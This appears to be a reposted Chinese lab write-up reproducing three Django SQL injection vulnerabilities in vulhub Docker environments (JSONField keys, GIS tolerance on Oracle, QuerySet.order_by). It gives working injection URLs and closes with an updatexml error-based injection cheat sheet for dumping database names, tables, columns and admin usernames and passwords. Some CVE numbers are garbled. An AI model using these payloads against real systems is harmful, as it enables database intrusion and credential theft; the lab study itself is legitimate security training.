100字范文,内容丰富有趣,生活中的好帮手!
100字范文 > vulhub靶场sql注入漏洞复现

vulhub靶场sql注入漏洞复现

时间:2022-06-11 10:03:07

相关推荐

vulhub靶场sql注入漏洞复现

Django JSONField/HStoreField SQL注入漏洞(CVE--14234)

/vulhub/vulhub/blob/master/django/CVE--14234/README.zh-cn.md

https://mp./s?__biz=MzA4NzUwMzc3NQ==&mid=2247483996&idx=1&sn=4254dc0a54003cccb29dd42935f8ccea&chksm=903924aca74eadba5f04112b1a287f22dfbd796481012102c712ce2d66ec8cb6ff56ffbe2434&scene=21#wechat_redirect

Django是一款广为流行的开源web框架,由Python编写,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,JSONField是该数据库的一种数据类型。

该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。

docker-compose builddocker-compose up -d

环境启动后,访问http://192.168.33.130:8000即可看到Django默认首页。

漏洞复现

Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

首先登陆后台http://192.168.33.130:8000/admin/,用户名密码为admin、a123123123。

登陆后台后,进入模型Collection的管理页面http://192.168.33.130:8000/admin/vuln/collection/:

然后在GET参数中构造detail__a’b=123提交,其中detail是模型Collection中的JSONField:

http://192.168.33.130:8000/admin/vuln/collection/?detail__a%27b=123

可见,单引号已注入成功,SQL语句报错:

Django GIS SQL注入漏洞(CVE--9402)

/vulhub/vulhub/blob/master/django/CVE--9402/README.zh-cn.md

/t/7403

GIS 查询功能中存在的SQL注入漏洞。

该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。

漏洞复现

访问http://your-ip:8983 ,出现如下页面表示搭建成功!

存在漏洞的是vuln、vuln2

漏洞一

首先访问http://your-ip:8000/vuln/。

在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

可见,括号已注入成功,SQL语句查询报错:

漏洞二

访问http://your-ip:8000/vuln2/。 在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20–

Django QuerySet.order_by() SQL注入漏洞(CVE--35042)

/vulhub/vulhub/blob/master/django/CVE--35042/README.zh-cn.md

/weixin_43047908/article/details/119772225

在QuerySet底下的order_by函数中存在的SQL注入漏洞。

该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。

首先,转到列表视图 http://your-ip:8000/vuln/

添加?order=-id到 GET 参数。看到按 id 降序排列的数据。

看到按 id 降序排列的数据。

因此根据这个信息我们可以构造报错注入来进行攻击获取数据信息。

?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23,其中vuln是我们的应用程序和collection模型。

获取用户

其他:

updatexml报错注入原理:

`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误`0x7e` ASCII码,实为`~`,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符

爆数据库版本信息?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)链接用户?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)链接数据库?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)爆库?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)爆表?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)爆字段?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)爆字段内容?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

爆表名?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#爆列名?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#爆字段?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。